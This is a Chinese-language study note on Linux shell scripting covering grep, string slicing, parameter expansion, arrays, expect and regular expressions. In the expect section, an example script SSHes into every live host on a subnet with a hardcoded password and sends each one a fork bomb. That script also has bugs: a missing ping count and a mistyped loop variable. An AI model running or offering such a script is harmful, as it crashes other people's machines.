Linux的Shell脚本——day4——字符串截取、正则
零散知识点
ftp操作:
ftp 服务器IP 连接ftp,可以进行交互操作
注意搭建ftp服务是vsftpd,要区别
特殊的一个常用
${#变量} 统计变量的长度位数
脚本中对一个文件进行撰写
cat > [文件] <<EOF
内容
EOF
这个是临时写了一个叫EOF的文件,然后把文件内容给cat,cat在输出到预定的文件中,实现输入数据到文件中
远程的时候不需要回答yes
ssh -o StrictHostKeyChecking=no 目标主机IP
支持tab ssh -o St[tab]=no 目标主机IP
grep的用法
-q 检索但不输出,运行完可以用$?查看有没有匹配的
-m 数字 只检索多少行,后面的几行都不过滤了
-c 检索后输出检索到多少个
-v 检索后取反输出
-i 检索时不计较大小写
-E 调用egrep,只有egrp才能支持扩展正则,grep只能是基本正则
随机生成密码
#!/bin/bash
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
all=${#a}
num=8 # 密码长度
passwd=''
for i in `seq $num`
do
ran=$(echo ${a:$[$RANDOM%$all]:1})
passwd=$passwd$ran
done
echo $passwd
字符串的截取
${变量名:起始位置:长度} | 起始位置从0开始 | 起始位置:长度 | 所有参数不需要加入$ |
expr substr "$变量名" 起始位置 长度 | 起始位置是从1开始 | 起始位置 长度 | 所有参数前面必须有$ |
echo $变量名 | cut -b 截取位置 |
起始位置是从1开始 起始位置没有代表从开头开始 |
起始位置-终止位置 |
例子:
把变量a截取从第2位开始4个数字 | ||
${a:1:4} | expr substr "$a" 2 4 |
echo $a | cut -b 2-5 (2到5位一共4个数字) |
把用户输入的第一个参数截取从第三位开始5个数字 | ||
${1:2:5} | expr substr "$1" 3 5 |
echo $1 | cut -b 3-7 (3到7为一共5个数字) |
把变量a截取从第$b(变量b所代表的值)位开始$c(变量c所代表的值)个数字 | ||
${a:b-1:c} (第一位是0号,所以起始位置要-1) |
expr substr "$a" $b $c |
echo $a | cut -b $b-$[b+c-1] (数个数要掐头去尾) |
把变量a从头开始选取4个数字 | ||
${a:0:4} | expr substr "$a" 1 4 | echo $a | cut -b -4 |
把变量a截取最后b个数字(那么起始位置就是$[${#a}-$b]) | ||
${a:$[${#a}-$b]:$b} | expr substr "$a" $[${#a}-$b+1] $b | echo $a | cut -b $[${#a}-$b+1]- |
注意:
1. ${}起始位置是0,而其他都是1,在计算起始位置的时候要注意不一样,从第几个开始都要注意
2. ${#a}代表 长度,在从最后开始截取的时候计算起始位置,例如:变量a截取最后b个数字,其起始位置就是$[${#a}-$b]
字符串中匹配替换
${变量名/被替换的部分/替换成什么} 替换第一个符合被替换的部分
${变量名//被替换的部分/替换成什么} 替换所有符合被替换的部分
字符串中匹配删除
${变量名#*关键词} 把字符串从头开始删到第一个匹配关键字的位置
${变量名##*关键词} 把字符串从头开始删到最后一个匹配关键字的位置
${变量名%关键词*} 把字符串从最后开始删到最后一个匹配关键字的位置,因为是从后往前删除,所以最后一个匹配关键字的位置是删除中第一个遇到的,使用的时候,删除的是匹配出来的最小值
${变量名%%关键词*} 把字符串从最后开始删到第一个匹配关键字的位置,和上面理由相反,使用的时候,删除的是匹配出来的最大值
注意:
不管怎么匹配,都要注意有个*,它代表通配
#*符号*符号*符号*符号 代表从头删除到第4个匹配的符号的位置,包括第四个符号也删除了
字符串初值的处理
${变量:-初始值}
当变量存在且有值的时候返回变量值;当变量不存在或者为空值的时候,返回初始值
注意: 变量前不能加$ 而初始值可以用变量代表但是前面必须有$
特例: ${1:-初始值} 可以把初始值用作默认值,当用户有输入就用用户输入的,如果没有,就用默认值
数组
定义数组:
数组名=(值1 值2 值3 ……)
数组名[序号]=值 常常和循环连用
调用数组
${数组名[序号]} | 序号是从0开始,和C++语法一样 |
${数组名[@]}、${数组名[*]} | 输出所有数组中的数据 |
${#数组名[@]} | 输出数组元素的个数 |
${数组名[@]:起始下标:个数} | 从哪个下标的数组数据输出多少个(相当于把数组所有的数据进行字符串截取操作) |
expect
expect << EOF
spawn 命令 #//创建交互式进程
expect "期待出现的交互的提示随意位置的随意内容" { send "123456\r" } #//自动发送密码
……
expect "" { send "\r" }
EOF
注意:expect脚本的最后一行默认不执行!!!所以最后一定要加入一行没用的代码!!!!
该功能需要装包,expect,所以用到这个的脚本要检查一下也没有装,下面这段代码可以检索是否安装了expect,如果没有就尝试yum,而如果yum也失败了就报错退出。
[ 'rpm -q expect' ] || yum install -y expect &>/dev/null
[ $? != 0 ] && echo your yum has problem && exit 250 || echo expect is ready
例子:给自己所在网段中所有开机的电脑投掷fork
#!/bin/bash
# ip代表网段(注意最后面有个.),my_ip代表自己的主机号,pass代表密码
ip=192.168.10.
my_ip=110
pass=123456
for i in {1..254}
do
{
[ ! $i == $my_ip ] && ping -c $ip$I #测试除自己以外其他开机的电脑
if [ $? == 0 ];then
expect << EOF
spawn ssh $ip$i #//创建交互式进程
expect "password:" { send "$pass\r" } #//自动发送密码
expect "#" { send ".(){ .|.;};.\r" } #//fork炸弹
expect "#" { send "exit\r" } #//无用代码,代码结束后会自动退出,所以这就可以作为最后一行命令,他不需要执行
EOF
fi
} &
done
正则
基本:基本所有软件都能使用,不过比较复杂,有很多的 \ 来控制转义,( ) { } | 这五个符号都要转义
符号 | 含义 | 例子 | 例子解释 |
^ | 匹配行首 | ^[0-9a-z] | 代表匹配以小写字母或者数字开头的 |
$ | 匹配行尾 | [A-Z]$ | 代表匹配以大写字母结尾的 |
[] | 匹配里面的任意一个字符 | [avb12] | 代表匹配是a或v或b或1或2中任意一个字符,没有顺序,因为只匹配一个字符,而一个字符只可能匹配一个或者匹配不到 |
[^] | 匹配里面一个没有的字符 | [^gfd] | 代表匹配一个不是g也不是f也不是d的字符 |
. | 匹配任意一个字符 | . | 只匹配一个字符,这个字符随便是什么 |
* | 匹配前面一个字符任意多次 | a* | 匹配0到多个a,注意*前面必须有字符 |
\{最少,最多\} | 匹配前一个字符多少次 | a\{n,m\} | 代表匹配n个到m个a字符 |
a\{n,\} | 没有最多的值的话,代表匹配至少n个a字符,没有上线 | ||
a\{n\} | 如果没有‘,’代表匹配n个a字符 | ||
\| | 代表或者 | \(123\)\|\(345\) |
代表匹配123或者345这两组字符 因为web网页的一些兼容问题,括号只能用中文括号,在使用的时候没有空格,使用的也是英文括号 \(\)还有复制的作用,其用法就是 : \(复制的内容1\)\(复制的内容2\)\(复制的内容3\) 实现同时复制3个,而调用的时候用 \1 \2 \3 代表前面复制的内容 |
\( \) | 代表组合成整体 |
扩展:很方便,但只有部分支持,grep就不支持,如果要用必须使用egrep 当然grep -E命令也可以,因为这个命令代表调用egrep,grep自身是不支持的
符号 | 含义 | 等价 |
+ | 前面的字符最少匹配一次 | \{1,\} |
? | 前面的字符最多匹配一次 | \{0,1\} |
{最少,最多} | 匹配前一个字符多少次 | \{最少,最多\} |
() | 代表组合成整体 | \( \) |
| | 代表或者 | \| |
\b字符\b | 代表单词边界 |
这个grep不能代替,他是匹配的时候限制了单词的边界, 例如 \bgoole\b 就是匹配一个单词 goole ,两边要有空格不然不匹配,等价于\<字符\> |
特殊组合:
^$ 代表匹配所有空行
.* 任意字符任意长度,匹配所有
[^ ] 这里面有个空格,代表匹配所有没有空格的部分
注意:
* 只匹配前一个字符,再前面的与之无关
[] 注意 这里面空格也算一个字符,匹配的时候也会匹配!!
优缺点比较:
基本正则兼容性强,但是复杂
扩展正则兼容性一般,但是简单